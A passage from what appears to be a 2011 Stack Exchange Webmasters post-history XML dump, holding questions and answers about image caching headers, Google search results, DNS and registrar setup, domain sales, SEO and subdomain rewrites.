private&quot;,false);&#xD;&#xA;        header(&quot;Content-Type: image/png&quot;); &#xD;&#xA;        header(&quot;Content-Disposition: attachment; filename=&quot; . basename($image));&#xD;&#xA;        header(&quot;Content-Transfer-Encoding: binary&quot;); &#xD;&#xA;        header(&quot;Content-Length: &quot; . filesize($image)); &#xD;&#xA;        ob_clean(); &#xD;&#xA;        flush(); &#xD;&#xA;        readfile($image); &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;You can also place the image in its own directory with other images you don't want cached and place this .htaccess file in there to prevent caching.&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.(gif|png|jpg|jpeg)$&quot;&gt;&#xD;&#xA;    FileETag None&#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;    Header unset ETag&#xD;&#xA;    Header set Cache-Control &quot;max-age=0, no-cache, no-store, must-revalidate&quot;&#xD;&#xA;    Header set Pragma &quot;no-cache&quot;&#xD;&#xA;    Header set Expires &quot;Wed, 11 Jan 1984 05:00:00 GMT&quot;&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &lt;/FilesMatch&gt;" />
  <row Id="18835" PostHistoryTypeId="4" PostId="8578" RevisionGUID="d63cba9c-8a29-4faa-ba7a-c88669fd3e97" CreationDate="2011-02-03T16:55:14.520" UserId="233" Comment="cleaned up title" Text="Semantic Form Markup for Yes or No Questions" />
  <row Id="18836" PostHistoryTypeId="5" PostId="8445" RevisionGUID="06424db3-f01f-41be-8707-c5a3fe713a75" CreationDate="2011-02-03T16:57:56.503" UserId="4643" Comment="added 405 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Updates (added later):**    &#xD;&#xA;&#xD;&#xA;@Lèse majesté (comment to this question):  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in  &#xD;&#xA;&#xD;&#xA;  - [Why googling by keycaptcha gives results on reCAPTCHA? [closed]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2] , even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;Update2:  &#xD;&#xA;**Though answers insist that my results are unreproducible,  &#xD;&#xA;I am having confirmations of respondents in Europe, China, Australia and North America   &#xD;&#xA;that they are reproducing these my results on reCAPTCHA while searching by keycaptcha&#xD;&#xA;(having simultaneously results by &quot;keycaptcha&quot; searches&quot;** &#xD;&#xA;&#xD;&#xA;Update3:  &#xD;&#xA;Having operating system, browsers, google's search settings only in English:   &#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the search results are intermixed with quite unexpected languages:    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA; ![enter image description here][4]&#xD;&#xA;&#xD;&#xA;Update 4:  &#xD;&#xA;1)&#xD;&#xA;Few days ago, for the first time in my life, I searched through with **Google Adwords** by keyword keycaptcha (by all countries, all languages) and for the last month it gave 91.&#xD;&#xA;&#xD;&#xA;What does it mean for keycaptcha having hundreds downloads, and 100+ registrations/installations daily (and being served over a million times monthly to visitors of various websites)?    &#xD;&#xA;&#xD;&#xA;It is difficult to imagine  that this keyword (keycaptcha) was searched so little.  &#xD;&#xA;How can webmasters install it that many times without serching for it first?&#xD;&#xA;How to interpret this results?&#xD;&#xA;&#xD;&#xA;Is it because [keycaptcha.com][5] does not rent or pay for google's advertising? It is free software product.&#xD;&#xA;&#xD;&#xA;2)&#xD;&#xA;Today, during an hour, I tried to repeat that with **Google Adwords** query again from the same and other my google accounts and could not.  &#xD;&#xA;It asks to enter my business information, to start advertising campaign, to create new account, etc. &#xD;&#xA;&#xD;&#xA;**Why could I use Google Adwords querying for free before and fail now?**  &#xD;&#xA;&#xD;&#xA;Update:  If to enter search query &#xD;&#xA;  - copywrit*  &#xD;&#xA;&#xD;&#xA;intending to find results on copyWriting, Copywriter, copyWriting, etc.,  &#xD;&#xA;the google gives results only on copyRight!  &#xD;&#xA; &#xD;&#xA;![enter image description here][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To be continued...&#xD;&#xA;&#xD;&#xA;In next comment I'll show that at certain simple queries the google always shows a captcha before showing the results... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported/8466#8466&#xD;&#xA;  [3]: http://i.stack.imgur.com/gy2CU.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/Rsv5B.png&#xD;&#xA;  [5]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [6]: http://i.stack.imgur.com/F6VxW.png" />
  <row Id="18837" PostHistoryTypeId="2" PostId="8670" RevisionGUID="3e88c7bd-3c22-4b08-b5d4-21077ad83d7e" CreationDate="2011-02-03T17:00:36.907" UserId="4524" Text="I hav asked this question before, on serverfault, but have been unable to get a clear answer or spammy ones.&#xD;&#xA;&#xD;&#xA;A client runs a website with limited bandwidth per month (10gb) but wants his users to be able to download hq videos.&#xD;&#xA;&#xD;&#xA;Now if he would rent hosting space on amazon, for example, the downloads would still go through his website right? So would this then still eat his bandwidth then, or not? &#xD;&#xA;&#xD;&#xA;It there a way to circumvent this? How do you do this, if you have limited bandwidth?&#xD;&#xA;&#xD;&#xA;If you are kind enough to answer, please don't spam me with what is good and not good hosting, I already know.&#xD;&#xA;" />
  <row Id="18838" PostHistoryTypeId="1" PostId="8670" RevisionGUID="3e88c7bd-3c22-4b08-b5d4-21077ad83d7e" CreationDate="2011-02-03T17:00:36.907" UserId="4524" Text="External Video Hosting - will it eat my bandwidth?" />
  <row Id="18839" PostHistoryTypeId="3" PostId="8670" RevisionGUID="3e88c7bd-3c22-4b08-b5d4-21077ad83d7e" CreationDate="2011-02-03T17:00:36.907" UserId="4524" Text="&lt;video&gt;" />
  <row Id="18840" PostHistoryTypeId="2" PostId="8671" RevisionGUID="0cd3f325-d611-4dc8-b609-11159608bd8f" CreationDate="2011-02-03T17:05:42.927" UserDisplayName="user5136" Text="I have a M100 series of production and then multiple product in the series.  So we would click the category and see M100 series M200 series, etc.  Then you would click the M100 series and see M100A, M100B, etc.  &#xD;&#xA;&#xD;&#xA;Should the M100 just be a category with the 100a, 100b products in it or is there a better solution for creating series of products?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18841" PostHistoryTypeId="1" PostId="8671" RevisionGUID="0cd3f325-d611-4dc8-b609-11159608bd8f" CreationDate="2011-02-03T17:05:42.927" UserDisplayName="user5136" Text="Magento Product Series" />
  <row Id="18842" PostHistoryTypeId="3" PostId="8671" RevisionGUID="0cd3f325-d611-4dc8-b609-11159608bd8f" CreationDate="2011-02-03T17:05:42.927" UserDisplayName="user5136" Text="&lt;magento&gt;" />
  <row Id="18843" PostHistoryTypeId="2" PostId="8672" RevisionGUID="7bf7ac0d-df11-4092-b0f2-dc3182f44064" CreationDate="2011-02-03T17:08:06.610" UserId="1253" Text="If the video file is hosted elsewhere then it won't eat their bandwidth since it is coming from a completely different server assuming you are not reading the file through a server side script of your own first but directly linking to the hosted file itself. If they have bandwidth issues this is exactly how they should solve it (or find a new host with a better bandwidth offering." />
  <row Id="18845" PostHistoryTypeId="25" PostId="8670" RevisionGUID="2c07bfa1-e769-4ba3-96af-da06243d5430" CreationDate="2011-02-03T17:16:35.863" Comment="http://twitter.com/#!/StackWebmasters/status/33212265322774528" />
  <row Id="18852" PostHistoryTypeId="2" PostId="8675" RevisionGUID="a83ac33a-8c31-4519-a5a5-8e19ce0f20d7" CreationDate="2011-02-03T18:10:25.473" UserId="233" Text="Text ad units can display many ads per unit - 4 to 5 are visible at once but often you will see an arrow to scroll through more ads. Same thing goes if you have multiple ad units per page. A user could click all of those ads.&#xD;&#xA;&#xD;&#xA;If you have more than a handful of visitors (&gt;100 a day) then this is very unlikely since the number of people who don't click any ads usually outweighs the number who click, massively." />
  <row Id="18853" PostHistoryTypeId="2" PostId="8676" RevisionGUID="84f67590-0ecc-4acd-b807-ff2158ae5190" CreationDate="2011-02-03T18:18:50.780" UserId="5139" Text="Putting or not social media icons is mainly a matter of marketing. It strongly depends on the kind of website you're running and your target audience (selling dental implants to elder people might not get that much more traffic from social sites), basically they are a way to attract the more people you can. It's free advertisement, more or less.&#xD;&#xA;And, imho, social media icons are quite a 'web 2.0' trend, so you might get benefits from a graphical point of view, and their interactiveness can be a plus for your public.&#xD;&#xA;Again, it's 'marketing'." />
  <row Id="18854" PostHistoryTypeId="2" PostId="8677" RevisionGUID="869bb2c5-3847-4112-8a0f-9b58a4f6f08c" CreationDate="2010-07-13T22:36:52.823" UserId="1048" Text="We've a domain name that's okay, though hardly brilliant, that we no longer need.  &#xD;&#xA;&#xD;&#xA;How would you go about auctioning or selling it?  Has someone a recommended site where to put it up?&#xD;&#xA;&#xD;&#xA;I'm assuming this is fair practice, we had thought we'd a real use for it and we're certainly not squatting the name.&#xD;&#xA;" />
  <row Id="18855" PostHistoryTypeId="1" PostId="8677" RevisionGUID="869bb2c5-3847-4112-8a0f-9b58a4f6f08c" CreationDate="2010-07-13T22:36:52.823" UserId="1048" Text="Recommendations on how to auction a domain name" />
  <row Id="18856" PostHistoryTypeId="3" PostId="8677" RevisionGUID="869bb2c5-3847-4112-8a0f-9b58a4f6f08c" CreationDate="2010-07-13T22:36:52.823" UserId="1048" Text="&lt;domains&gt;" />
  <row Id="18857" PostHistoryTypeId="17" PostId="8677" RevisionGUID="abca3795-76f6-4770-9c39-de301e973689" CreationDate="2011-02-03T18:25:35.507" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/3501/recommendations-on-how-to-auction-a-domain-name" Text="" />
  <row Id="18858" PostHistoryTypeId="2" PostId="8678" RevisionGUID="7e43a62c-63c6-45da-b26a-a0a1e15c7875" CreationDate="2010-07-25T01:18:38.757" UserId="1031" Text="Does putting an unrelated site in a domain's subfolder (to avoid buying a new domain name) affect the domain's search engine ranking even if there are no links between them? For example, is it a bad practice will placing a cooking site at programming.com/cooking affect the search engine ranking of programming.com?" />
  <row Id="18859" PostHistoryTypeId="1" PostId="8678" RevisionGUID="7e43a62c-63c6-45da-b26a-a0a1e15c7875" CreationDate="2010-07-25T01:18:38.757" UserId="1031" Text="Do Unrelated Sites in Subfolders affect the Ranking of the Main Site?" />
  <row Id="18860" PostHistoryTypeId="3" PostId="8678" RevisionGUID="7e43a62c-63c6-45da-b26a-a0a1e15c7875" CreationDate="2010-07-25T01:18:38.757" UserId="1031" Text="&lt;websites&gt;&lt;domains&gt;" />
  <row Id="18861" PostHistoryTypeId="17" PostId="8678" RevisionGUID="acd79873-1ced-4aec-8bb1-c8c95e1d3b9d" CreationDate="2011-02-03T18:30:00.510" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/4664/do-unrelated-sites-in-subfolders-affect-the-ranking-of-the-main-site" Text="" />
  <row Id="18862" PostHistoryTypeId="17" PostId="8680" RevisionGUID="24c55e88-fcbd-41eb-a481-176aed470ee0" CreationDate="2011-02-03T18:34:56.263" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/7646/what-to-do-if-google-has-banned-my-site/7647#7647" Text="" />
  <row Id="18863" PostHistoryTypeId="2" PostId="8680" RevisionGUID="017a91ec-9a7d-478a-a1e7-3b90b6ba42a7" CreationDate="2010-10-05T12:56:44.913" UserId="2225" Text="You need to get signed up for and look at the Google Webmaster Tools control panel for your domain. Errors about crawling the site and warnings about malware and things like that will be shown there." />
  <row Id="18864" PostHistoryTypeId="2" PostId="8679" RevisionGUID="a10a58d1-32b7-4b67-bf88-a08b31e795cb" CreationDate="2010-10-05T12:48:40.550" UserDisplayName="user5414" Text="What should I do if I suspect that Google has Banned (refuses to list pages for) my Site?" />
  <row Id="18865" PostHistoryTypeId="1" PostId="8679" RevisionGUID="a10a58d1-32b7-4b67-bf88-a08b31e795cb" CreationDate="2010-10-05T12:48:40.550" UserDisplayName="user5414" Text="What to do if Google has Banned My Site?" />
  <row Id="18866" PostHistoryTypeId="3" PostId="8679" RevisionGUID="a10a58d1-32b7-4b67-bf88-a08b31e795cb" CreationDate="2010-10-05T12:48:40.550" UserDisplayName="user5414" Text="&lt;google&gt;&lt;websites&gt;&lt;sites&gt;" />
  <row Id="18867" PostHistoryTypeId="17" PostId="8679" RevisionGUID="e2f97a5b-54d8-4319-868a-29452346fc46" CreationDate="2011-02-03T18:34:56.263" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/7646/what-to-do-if-google-has-banned-my-site" Text="" />
  <row Id="18868" PostHistoryTypeId="2" PostId="8681" RevisionGUID="8e142db2-a858-4a93-bc2c-e7327d15e5a5" CreationDate="2011-02-03T18:55:46.633" UserId="1253" Text="Yes because the domain name, and by extension full URL, are a factor in the rankings of any content. So by having a programming domain name in a URL about cooking will do you no good SEO wise. So the pages that are off topic for the domain name will not get any benefit from having a proper domain name.&#xD;&#xA;&#xD;&#xA;The main site will not be affected as search engines don't rank sites, they rank pages. So there won't be any tangible association between the two sites even though they share the same domain due to the fact they are essentially segregated. " />
  <row Id="18869" PostHistoryTypeId="2" PostId="8682" RevisionGUID="6b75f670-94e5-42eb-a718-dcb0fab73da5" CreationDate="2011-02-03T18:58:58.967" UserId="1253" Text="[Sedo][1] is a good place to start. Some registrars like [Godaddy][2] also have marketplaces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sedo.com/us/home/getting-started/?tracked=&amp;partnerid=&amp;language=us&#xD;&#xA;  [2]: http://www.godaddy.com/auctions/domain-auctions.aspx?ci=9054" />
  <row Id="18870" PostHistoryTypeId="2" PostId="8683" RevisionGUID="71c6b791-6be9-4d13-bf61-c84388253926" CreationDate="2011-02-03T19:00:01.057" UserId="1253" Text="Have you looked at [webmin][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webmin.com/" />
  <row Id="18871" PostHistoryTypeId="5" PostId="7987" RevisionGUID="770bf5c3-57fc-4f06-8fb0-f76241aeb25f" CreationDate="2011-02-03T19:02:01.930" UserId="1253" Comment="Removed signature/link to website" Text="**Logo as an h2 tag?**&#xD;&#xA;&#xD;&#xA;I was just browsing around SitePoint (www.sitepoint.com) which is a WordPress blog with a mix of regular pages and blogs. In general, I found that they have the page title as the h1 tag, and the logo set as h2. You can see this at a blog page like www.blogs.sitepoint.com/category/design/. Cruising around the site you find different setups. I often couldn't find the h1 tag, as an example at the main product page (http://products.sitepoint.com/). Although from that page, if you click on any particular product for more info www.sitepoint.com/books/design2/, you find again that h1 is the page title, h2 is the logo. A typical web page is similar to the blog, (see www.sitepoint.com/help/). In this case the FAQ's subjects are all h2 tags. &#xD;&#xA;&#xD;&#xA;Tom Rogers&#xD;&#xA;" />
  <row Id="18873" PostHistoryTypeId="2" PostId="8685" RevisionGUID="547514df-74dd-4a8a-be86-7910bc7f7060" CreationDate="2011-02-03T19:39:24.470" UserId="1953" Text="In general if you're just adding seemingly unrelated content to a site in small quantities it should be ok. However, if you're actively looking to make it a site that others will use (and link to) there could be issues, or if you're planning to put a lot of content on the site it could cause issues with crawling and indexing.&#xD;&#xA;&#xD;&#xA;I'd recommend using a free hosted site if you're not going to buy a domain (like wordpress, typepad, tumblr, blogger et al). This way you don't have the added expense of the domain or hosting but also don't have to worry about it messing with your other site. &#xD;&#xA;&#xD;&#xA;Even if don't encounter any SEO issues with it, having the URL of programming.com/cooking will be confusing to users. " />
  <row Id="18874" PostHistoryTypeId="25" PostId="8667" RevisionGUID="5db7106a-e7f0-44e2-8ddb-ddf063059442" CreationDate="2011-02-03T20:16:39.170" Comment="http://twitter.com/#!/StackWebmasters/status/33257565156548608" />
  <row Id="18875" PostHistoryTypeId="2" PostId="8686" RevisionGUID="627d205d-a3c7-45c0-8a8b-1a4251e4aa6a" CreationDate="2011-02-03T20:20:38.107" UserId="3081" Text="How can you change the color of a link within Google Sites when the mouse hovers over the link?" />
  <row Id="18876" PostHistoryTypeId="1" PostId="8686" RevisionGUID="627d205d-a3c7-45c0-8a8b-1a4251e4aa6a" CreationDate="2011-02-03T20:20:38.107" UserId="3081" Text="Change color of link on hover within Google Sites" />
  <row Id="18877" PostHistoryTypeId="3" PostId="8686" RevisionGUID="627d205d-a3c7-45c0-8a8b-1a4251e4aa6a" CreationDate="2011-02-03T20:20:38.107" UserId="3081" Text="&lt;google-sites&gt;" />
  <row Id="18885" PostHistoryTypeId="10" PostId="8608" RevisionGUID="98b7c495-ca39-4864-a5eb-2f52f981d4d8" CreationDate="2011-02-03T21:33:26.517" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="18886" PostHistoryTypeId="2" PostId="8688" RevisionGUID="d1b4a89e-46a0-4f66-ab34-7d4a5be2e215" CreationDate="2011-02-03T21:33:45.467" UserId="5135" Text="I'm a total noob when it comes to DNS configuration.&#xD;&#xA;&#xD;&#xA;My client bought a domain through one company and is hosting their site with another (a virtual dedicated server). I can't find anything on the web that explains one's way through this setup.&#xD;&#xA;&#xD;&#xA;Where do I start? Which nameservers do I use? Which company's zone files do I edit? Basically it boils down, for me that I don't understand which company takes the lead, and which piggybacks off their configuration.&#xD;&#xA;&#xD;&#xA;Thanks in advance for the help. " />
  <row Id="18887" PostHistoryTypeId="1" PostId="8688" RevisionGUID="d1b4a89e-46a0-4f66-ab34-7d4a5be2e215" CreationDate="2011-02-03T21:33:45.467" UserId="5135" Text="DNS Configuration when registrar and host are two different companies" />
  <row Id="18888" PostHistoryTypeId="3" PostId="8688" RevisionGUID="d1b4a89e-46a0-4f66-ab34-7d4a5be2e215" CreationDate="2011-02-03T21:33:45.467" UserId="5135" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;dns&gt;" />
  <row Id="18889" PostHistoryTypeId="2" PostId="8689" RevisionGUID="4ca22ec1-2662-4b5b-9b08-ad33d8928b2b" CreationDate="2011-02-03T22:24:46.137" UserDisplayName="user5143" Text="Let's say I have my web folder as public_html. In there I have a sub folder. I can view the folder at:&#xD;&#xA;&#xD;&#xA;www.mydomain.com/sub &amp; mydomain.com/sub&#xD;&#xA;&#xD;&#xA;What I want is:&#xD;&#xA;&#xD;&#xA;sub.mydomain.com&#xD;&#xA;&#xD;&#xA;This will show the content of public_html/sub. How would I set up my rewrite rules to do this." />
  <row Id="18890" PostHistoryTypeId="1" PostId="8689" RevisionGUID="4ca22ec1-2662-4b5b-9b08-ad33d8928b2b" CreationDate="2011-02-03T22:24:46.137" UserDisplayName="user5143" Text="subdomains apache rewrite rules" />
  <row Id="18891" PostHistoryTypeId="3" PostId="8689" RevisionGUID="4ca22ec1-2662-4b5b-9b08-ad33d8928b2b" CreationDate="2011-02-03T22:24:46.137" UserDisplayName="user5143" Text="&lt;apache&gt;&lt;dns&gt;&lt;subdomain&gt;" />
  <row Id="18893" PostHistoryTypeId="2" PostId="8691" RevisionGUID="68db0e25-4602-4292-b7a0-1e166e464eb4" CreationDate="2011-02-03T23:04:55.483" UserDisplayName="user5146" Text="I don't ever think that being on the same host with the same ip as another website certainly affects your serps in the search engines. It becomes a problem when yourself starts to create link farm and start linking them together for backlinks on the smae ip." />
  <row Id="18894" PostHistoryTypeId="2" PostId="8692" RevisionGUID="a1c92f24-d75f-4519-9734-b9b8e933e013" CreationDate="2011-02-03T23:08:29.063" UserId="5145" Text="I'm working at a company which primarily provides SaaS products but also will host some of our customers corporate websites. My question relates to recommendations for managing DNS for client's domain names. My objectives:&#xD;&#xA;&#xD;&#xA;1. Not restrict my ability to change the server's IP address such as might happen when I move my servers to a new host.&#xD;&#xA;2. Not have to contact the customer to change their domain's DNS if I need to change the server's IP address. Often times, customers lose this information or have to track down the one person with any knowledge of the domain settings.&#xD;&#xA;3. Map both `.clientdomain.com` and `www.clientdomain.com` to the proper IIS site.&#xD;&#xA;&#xD;&#xA;However, I'm running into a couple of common problems:&#xD;&#xA;&#xD;&#xA;1. Sometimes, the DNS console provided by the client's hosting company does not allow for CNAME records.&#xD;&#xA;2. Sometimes, the DNS console provided by the client's hosting company will not let me create a CNAME entry for `.spiffydomain.com` because the given hosting company has created a SOA record for that entry or simply requires that `.spiffydomain.com` be an `A` record.&#xD;&#xA;&#xD;&#xA;I believe one solution to #2 is to use a wildcard for a CNAME entry (i.e. `*.spiffydomain.com`). Is that correct? &#xD;&#xA;&#xD;&#xA;How do other folks that are hosting many customer's site manage change of DNS entries on their servers?" />
  <row Id="18895" PostHistoryTypeId="1" PostId="8692" RevisionGUID="a1c92f24-d75f-4519-9734-b9b8e933e013" CreationDate="2011-02-03T23:08:29.063" UserId="5145" Text="Recommendations for managing DNS issues when hosting customer sites." />
  <row Id="18896" PostHistoryTypeId="3" PostId="8692" RevisionGUID="a1c92f24-d75f-4519-9734-b9b8e933e013" CreationDate="2011-02-03T23:08:29.063" UserId="5145" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;management&gt;" />
  <row Id="18897" PostHistoryTypeId="25" PostId="8689" RevisionGUID="868cb3ea-059d-4efe-8300-15bdf078cbde" CreationDate="2011-02-03T23:16:38.593" Comment="http://twitter.com/#!/StackWebmasters/status/33302873995485184" />
  <row Id="18898" PostHistoryTypeId="2" PostId="8693" RevisionGUID="3d42d355-30d0-41a3-8d98-76cd796a1d04" CreationDate="2011-02-03T23:41:05.247" UserId="5148" Text="You can also convince yourself by checking &#xD;&#xA;&#xD;&#xA; - this [sitemaps and ampersands][1] article&#xD;&#xA; - official [XML sitemaps protocol][2] page&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsystools.com/products/sitemap-generator/help/xml-sitemap-file-amp/&#xD;&#xA;  [2]: http://www.sitemaps.org/protocol.php#escaping&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can't really argue against the official xml sitemaps protocol page :)" />
  <row Id="18899" PostHistoryTypeId="2" PostId="8694" RevisionGUID="b54da3cd-e8a5-4f10-a1cb-f32f6d197c63" CreationDate="2011-02-04T00:09:28.877" UserId="5148" Text="You could consider A1 Sitemap Generator. It will calculate priority values based on internal linking. (Worth a try maybe. Otherwise just ignore the priority value.)" />
  <row Id="18900" PostHistoryTypeId="2" PostId="8695" RevisionGUID="b16e128c-59cd-4126-ba9d-674ac12d1041" CreationDate="2011-02-04T00:34:34.883" UserId="5148" Text="If you are willing to share your website address, maybe we could take a look? Make sure you don't have some funky server code requiring specific headers (Accept-Language), cookies etc." />
  <row Id="18901" PostHistoryTypeId="2" PostId="8696" RevisionGUID="3bbea596-f82f-43b3-9cc2-016f59089b61" CreationDate="2011-02-04T01:34:04.497" UserId="4461" Text="If you're already in Google Webmaster Tools console, try the '[fetch as Googlebot][1]' function to see if that is also returning a 403.&#xD;&#xA;&#xD;&#xA;Double-check your robots.txt file, then your page heads for incorrect robots meta, and your server headers for incorrect configuration.&#xD;&#xA;&#xD;&#xA;If you find nothing wrong, it could be an issue with Googlebot at a time when there was some network issue. Re-submit the XML sitemap, ping, and wait/review.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=158587" />
  <row Id="18902" PostHistoryTypeId="25" PostId="8692" RevisionGUID="15cd3091-1e29-4dfb-8abf-b822efe373c0" CreationDate="2011-02-04T02:16:39.080" Comment="http://twitter.com/#!/StackWebmasters/status/33348174143815681" />
  <row Id="18903" PostHistoryTypeId="2" PostId="8697" RevisionGUID="6f002c98-e9ff-49a1-81ea-03e249810c12" CreationDate="2011-02-04T02:51:38.813" UserId="4730" Text="I'm looking for a heat map solution to track my users' behavior on my website, preferably free of charge. I've already googled a little bit and here is what I found so far : &#xD;&#xA;&#xD;&#xA;    http://www.dailybloggr.com/2010/03/4-free-heatmap-tools-for-tracking-user-behaviour-on-a-site/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Still I would like to ask for some first hand experience, that'll help me make a better pick. Thanks for your help. " />
  <row Id="18904" PostHistoryTypeId="1" PostId="8697" RevisionGUID="6f002c98-e9ff-49a1-81ea-03e249810c12" CreationDate="2011-02-04T02:51:38.813" UserId="4730" Text="Looking for non-paid heat map tools for website analytics " />
  <row Id="18905" PostHistoryTypeId="3" PostId="8697" RevisionGUID="6f002c98-e9ff-49a1-81ea-03e249810c12" CreationDate="2011-02-04T02:51:38.813" UserId="4730" Text="&lt;website-analytics-tools&gt;" />
  <row Id="18906" PostHistoryTypeId="2" PostId="8698" RevisionGUID="81bb8cb1-a5b9-4645-ab2c-10e572f90b44" CreationDate="2011-02-04T04:18:30.497" UserId="4142" Text="You have a couple of options before you. I should start out by saying that I'm also in this situation, and I let my registrar host my DNS. I believe that's the path of least resistance.&#xD;&#xA;&#xD;&#xA;So, let's start there. One of the nice things about allowing your registrar to host your DNS zone is that they probably have some sort of fancy dancy web interface that allows you to manage all of your records. No need to muck about in configuration files with your own server. Plus, the DNS traffic is offloaded to their systems, and not yours.&#xD;&#xA;&#xD;&#xA;One of the benefits of having DNS hosted on your own server is that you have total control. You control the TTL on your records, the server that serves it, and usually your VPS will be a little less loaded up than a registrar's name server. However, now you have to know how to configure a DNS server - and if you're using something like BIND, it requires a LOT of knowledge. Beware, though, some registrar require two name servers: unless you have a second server hanging around, this might not be feasible. Which leads us to our third option.&#xD;&#xA;&#xD;&#xA;You could use both. Configure your DNS zones on your server and your registrar's, and use one for backup. While this is pretty fault tolerant, it's also probably an awful lot of hassle for a little extra redundancy.&#xD;&#xA;&#xD;&#xA;Seeing as you're new to DNS, I would highly recommend keeping it simple and sticking with your registrar's servers. You're paying them for the privilege, and it saves you a lot of grief." />
  <row Id="18910" PostHistoryTypeId="25" PostId="8688" RevisionGUID="b01bf7aa-f8a0-44ce-9bd3-2e06f8a499bb" CreationDate="2011-02-04T05:16:39.220" Comment="http://twitter.com/#!/StackWebmasters/status/33393473444909056" />
  <row Id="18911" PostHistoryTypeId="2" PostId="8700" RevisionGUID="9aee5a40-7394-4c21-ad3a-5aecb8cf2487" CreationDate="2011-02-04T05:22:05.597" UserDisplayName="user5333" Text="i just setup an internet marketing forum.it is http://haffow.com&#xD;&#xA;do you think is it profitable to make money??" />
  <row Id="18912" PostHistoryTypeId="1" PostId="8700" RevisionGUID="9aee5a40-7394-4c21-ad3a-5aecb8cf2487" CreationDate="2011-02-04T05:22:05.597" UserDisplayName="user5333" Text="is my forum profitable???" />
  <row Id="18913" PostHistoryTypeId="3" PostId="8700" RevisionGUID="9aee5a40-7394-4c21-ad3a-5aecb8cf2487" CreationDate="2011-02-04T05:22:05.597" UserDisplayName="user5333" Text="&lt;business-models&gt;" />
  <row Id="18917" PostHistoryTypeId="10" PostId="8700" RevisionGUID="5e5c436f-a517-4adf-b9c4-9cd44f8729f9" CreationDate="2011-02-04T05:57:36.063" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18918" PostHistoryTypeId="5" PostId="8700" RevisionGUID="1b653198-1a19-466d-ae8b-1630435321df" CreationDate="2011-02-04T05:58:02.253" UserId="1253" Comment="Removed hyperlink to website. " Text="i just setup an internet marketing forum.it is haffow.com&#xD;&#xA;do you think is it profitable to make money??" />
  <row Id="18919" PostHistoryTypeId="2" PostId="8701" RevisionGUID="c7038c26-c5f4-45fd-b86a-452b589443a7" CreationDate="2011-02-04T07:00:42.327" UserId="5157" Text="No, there are no restrictions like that for .co.uk domains. You can go to any major registrar and register one if it's available. &#xD;&#xA;&#xD;&#xA;If you would like more information this is the official Registry of .uk domains and their rules: http://www.nominet.org.uk/registrants/aboutdomainnames/rules/&#xD;&#xA;&#xD;&#xA;http://www.nominet.org.uk/disputes/legalinfo/entities/" />
  <row Id="18920" PostHistoryTypeId="2" PostId="8702" RevisionGUID="4635ee7b-6f55-495f-9fd4-8a684807ea6f" CreationDate="2011-02-04T07:12:57.887" UserId="5157" Text="These are the steps for a successful domain transfer:&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Unlock the domain.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Make sure private registration is turned off.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Change the administrative contact email to an email you can control.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Get the EPP code.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Request a transfer from the new registrar giving them the EPP code.&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;The reason for #3 is because as soon as that request is put in an email will be sent to the administrative contact email address with a link to click to verify the domain transfer. &#xD;&#xA;&#xD;&#xA;It can take up to 7 days to transfer the domain, the reason is because they wait that long to see if there is a transfer dispute.&#xD;&#xA;&#xD;&#xA;Good luck!" />
